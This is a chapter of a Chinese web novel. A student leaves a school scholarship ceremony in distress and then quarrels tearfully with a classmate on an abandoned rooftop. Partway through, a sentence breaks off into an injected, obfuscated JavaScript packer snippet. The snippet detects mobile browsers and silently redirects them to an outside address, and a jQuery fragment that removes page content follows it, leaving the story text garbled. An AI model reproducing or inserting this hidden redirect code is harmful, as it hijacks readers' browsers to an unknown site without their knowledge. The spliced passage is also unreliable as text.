周一早上——
“舒禾,你在看什么?”
两人刚踏进校门,就被守在门口的主任和老师吸引目光,几个老师穿着比平常还要正式,站在一侧。
以往门口哪里会有人,最多是快上课的时候主任来抓人。
但今天,就连国际部的主任和老师也来站门口,真是稀奇。
果不其然,他们前脚刚进校门口,后脚就来了几辆车,缓慢驶入学校。
方舒禾突然停了下来,梁知言瞧她一动不动,视线紧盯陆续进来的车,以为是她觉得有点冷想坐车上学,于是问道:“你也想要坐车上学?”
方舒禾收回视线,笑着问道:“你觉得能开进来吗?”
平日里除了老师的车,按照指定路线能开进学校,其余的都不允许开进来,就连国际部学生的车也只能到门口。
梁知言思考了会儿,对她说:“学校不好玩,我下次带你去其他地方。”
方舒禾笑笑不说话,重新提步向教室走去。
两人刚到教室门口,就发现里面的人陆续往外走去。
“舒禾,你们来了。”
元初柠眼尾弯起,看起来心情不错。
方舒禾浅浅一笑,瞧了眼四周问道:“这是要去哪儿?”
“我们班被抽到礼堂看颁奖仪式。”
方舒禾睫羽陡然一颤,放书包的手无意识蜷缩,加大了力道。
身后的梁知言书包都没放,有些好奇地问:“什么颁奖仪式?”
元初柠:“奖学金。”
接着,他又问道:“有表演吗?”
“额……”这问题一下子问到元初柠,她回想后艰难道:“颁奖仪式历年都没有表演。”
“没有表演?”梁知言不是很理解,“那看什么?”
从来没有人从这个角度问过自己,元初柠想了想,向他解释道:“算是一种激励吧,激励你要好好学习……”
“如果是这样的话,来回不都是那些人么?”
看梁知言似乎要开始较真,方舒禾神色恢复如初,打断道:“放书包,走吧。”
三人来到礼堂,按照区域划分找到自己的班级,方舒禾发现这次划分的位置还挺靠前,但这次剩的座位居然都是后面的。
这不禁让她有些疑惑,按以往,大家都是抢着坐后面各干各的事,来迟的只剩前面位置,但这次前面坐满了人。
挑了个边缘的位置坐下后,方舒禾懒得管那么多,正打算趁这个机会好好补觉。
“舒禾,你吃不吃?”
梁知言从口袋掏出包子递到面前,方舒禾有些困但还不饿,便摇摇头拒绝了。
收回递出去的手,他变戏法似地找出个没有用过的袋子,嘴里碎碎念道:“那我留一个给你。”
昨晚气温突然变低,今早梁知言在包子铺买完东西后,遇到了匆忙出门的方舒禾,对方二话不说就拉着自己一通跑,最后赶在三分钟前到了校门口。
估计因为天气原因,方舒禾今天没能准时起床,所以她大概率是还没吃早餐,正好李叔做了新品,留一个给她。
想到这,梁知言扎好袋子,准备将东西递给方舒禾,发现她已经闭上眼睛开始小憩。
他将东西收到外套口袋,朝她的方向挨去,慢条斯理地安静进食。
念到名字,台下响起掌声,梁知言转头看过去,方舒禾只是眉头微皱将头扭到一边。
“有请陆回琛陆总来为他们颁奖,大家掌声欢迎!”
台下再次响起雷鸣般的掌声,同时周围还出现了窃窃私语。
“这个陆总有点帅。”
“那可不,毕竟是当年的鸣礼校草之一。”
“他也是鸣礼的?”
“说白了,鸣礼姓陆,当年谁不知道陆回琛和姜霁雪。”
“姜霁雪是谁啊?”
“还提姜霁雪?小心被听见。”
“是谁已经不重要了,你看看陆总座位旁边的那个,那才是正宫。”
梁知言听这名字有点耳熟,刚想转头去问,就发现方舒禾不知道什么时候睁开眼站了起来。
她的视线紧紧盯着台上的人,接着视线转移到下方。
梁知言注意到她的动作,目光滑落发现她的手紧紧握着,整个人似有些不开心。
下一秒,她垂下视线,丢下句“我出去一下,你别跟”就离开了。
方舒禾用最快的速度离开礼堂,接着一路狂奔,试图用耳旁呼啸的风声掩盖刚才的议论。
直到筋疲力竭,她才停下扶着墙缓缓跪坐到地面,大口大口喘着气。
突然手背传来凉意,将方舒禾从混沌中拉扯出来,她意识到什么,眼泪接连砸落至地面。
凭什么他都能活着?还要做这么恶心的事……
不行,方舒禾,你不能哭,不能哭......
不过几瞬,她便强忍下哽咽,擦去眼泪,重新站了起来。
走到卫生间洗了把脸,方舒禾清醒许多,环顾周围,发现自己又来到了那栋废弃的教学楼。
她来到楼顶,走到栏杆边缘,望着不远处那栋红色的建筑物失了神。
凉风一遍又一遍地吹着脸颊,直到寒意附着眼尾的泪上,方舒禾才稍微能喘过气。
疲惫涌上心头,她找了个角落坐下,头靠墙环抱双膝,平复着自己的情绪,同时在脑子里盘算着计划。
没过多久,耳边突然炸开几道声音,方舒禾下意识看去,不远处的废弃的桌椅被踢得七零八落,而罪魁祸首正侧对自己,安静低头看那片狼藉。
那罪魁祸首她也不陌生,正是单斯锦。
只不过,现在的单斯锦跟几分钟前的她一样,正流着眼泪。
许是方舒禾的视线太过炽热,一下就被他抓包了。
两人视线对上,相视几秒,方舒禾率先反应过来,尴尬躲闪的同时僵硬地将头转回来。
余光瞟见单斯锦朝自己走过来,她默默低下头举起手挡住脸,在心里祈祷他不要冲动。
“手拿开。”
冷漠的声音传来,方舒禾没有听,而是闭着眼将自己面向墙壁。
“我说,手拿开。”
见她依旧没听,单斯锦直接蹲下上手帮她挪开。
“干什么?”
方舒禾无奈睁开眼,发现他一直盯着自己看,而且眼神还阴森森的不像假,她便装傻提高声音说道:“朝我吼什么?”
“又是你。”
单斯锦没回答她的话,而是自顾自地冷冷说道:“跟踪我?你到底想要干什么?想通过我往上爬?”
“我告诉你,做梦!”
方舒禾忍不住低头翻了个白眼,她到底是为什么每天要听这种尴尬到脚趾抓地的台词。
她忍不住反驳道:“你有没有搞错?是我先来的。”
单斯锦充耳不闻,只是一味地质问:“还装?”
方舒禾被气笑了,一口气堵在喉咙不上不下,“有病去治好吗?我没空陪你演戏。”
“上次扇了我一巴掌,你说这次我该不该把你眼睛挖出来?”
她抓到重点,眼神微变,“就因为我看见你哭了?”
单斯锦没有说话,缓缓凑近眼神愈发锐利,好似要把她扎穿。
方舒禾轻笑一声,倏然记起他好像和陆家有亲戚关系,紧接着一个不成熟的想法在脑海里闪过。
既然现在恶心不到姓陆的,那恶心这个姓单的,也一样吧?
反正都不是什么好人。
念头一出,方舒禾歪着脑袋瞧他,心里居然有些隐约的兴奋。
见她不怕,眼里反倒冒出精光,像看猴子一样看着自己,单斯锦面色越发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974901|186563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阴沉,不爽道:“你真想让我把你眼睛挖出来?”
方舒禾忍下心里冒出点头的怒火,脸上瞬间挂上抹浅笑,得体中带着些许讨好。
“能让单少视若珍宝,我也是——”她学着单斯锦的样子,慢慢靠近,气势毫不退让,甚至用手指隔空朝他打圈圈,“荣幸至极。”
对方突然间像是变了个人,单斯锦忙收回自己的动作,眉头紧锁嫌弃道:“神经病。”
方舒禾却不打算放过他,继续追着说:“别躲啊单少,你跟踪我,难道不是喜欢我吗?”
她骤然恢复先前的样子,语气里止不住的吐槽,“你也知道是靠人这么近是神经病啊?”
“男女授受不亲不懂吗?”
“到底是谁先的,你心里没数吗?”
“哭就哭了,有什么不好认,这里也就你跟我,又不是一群人看着你哭,想有,人家还不看......”
单斯锦自然没错过她同样红的眼眶,见缝插针道:“谁都跟你一样?”
方舒禾安静几秒,紧接着切了一声,“那你把眼泪擦干净再跟我说,好吗?”
“说着那种看起来又狂又拽的台词,真以为自己是霸道总裁,还挖我的眼睛,你自己没有吗?”
说到这,她似是恍然大悟,“哎呀,我忘了,单总的眼睛是一次性的,哭过就不要了。”
“多金贵的眼睛,怎么就不要了呢?”
单斯锦几次想插进打断,结果她叽叽喳喳说个不停,他连一句话都插不上。
好不容易等到机会,在面对她貌似有些神志不清时,单斯锦没了想要回击的欲望,起身就要离开。
方舒禾靠在墙边,叹了口气,故意嘀咕道:“遇事除了哭就是跑,难怪什么也捞不到。”
“你再说一遍!”
不过一瞬,单斯锦重新出现在她的视线,脸上掩不住的狠戾,拳头高扬在半空,随时能落下。
方舒禾被吓到,下意识蜷缩身子,怔愣在原地。
她呆呆地看着那个的拳头,一秒,两秒,三秒,随后忍不住失笑出声,“我再说两遍也还是这样。”
指甲狠狠嵌入掌心,单斯锦不知道自己为什么举起了拳头,将手放下咬牙切齿道:“闭嘴!”
“噢,我又忘了。”她停顿几秒,笑意渐渐敛起,眼底浮现丝厌恶,“你们这群人最擅长的事情,就是恼羞成怒地让人闭嘴。”
“单斯锦,你什么都没了,还叫我闭嘴?”
眼前的人再次哑口无言,突然间,一颗豆大的泪珠从他眼里直直掉落。
怎么哭了?
不应该啊。
方舒禾有些懵了,“喂,怎么就哭了?”
“方舒禾,凭什么连你也这样对我!”
被单斯锦一嗓子吼得耳朵发疼,她摸了摸耳朵,随即用同样声量回敬道:“喊这么大声干嘛,我耳朵又不聋!”
单斯锦擦掉眼泪,索性坐在她对面,一副势必要跟她争到底的样子。
“不是你先说这么多攻击我吗?”
那确实是。
但是她是不会道歉的。
可是这家伙又哭个不停,她还是有点良心的。
方舒禾思索片刻,从口袋拿出纸巾,举到他面前。
“喏。”
单斯锦别过脸,拒绝了她。
她慢慢收回手,嘴上说道:“我也就客套一下,你肯定不会——”
“要”字还没说出口,手背覆上掌心的温度,即将收回的手停滞在了半空。
没等方舒禾反应,周围又响起了道熟悉的声音。
“圆圆......”
这是——
她猛地转过头去,梁知言站在几步之外,视线不知道落在哪里,眉心紧蹙下颌线紧绷,眼底情绪不明。
梁知言怎么在这儿?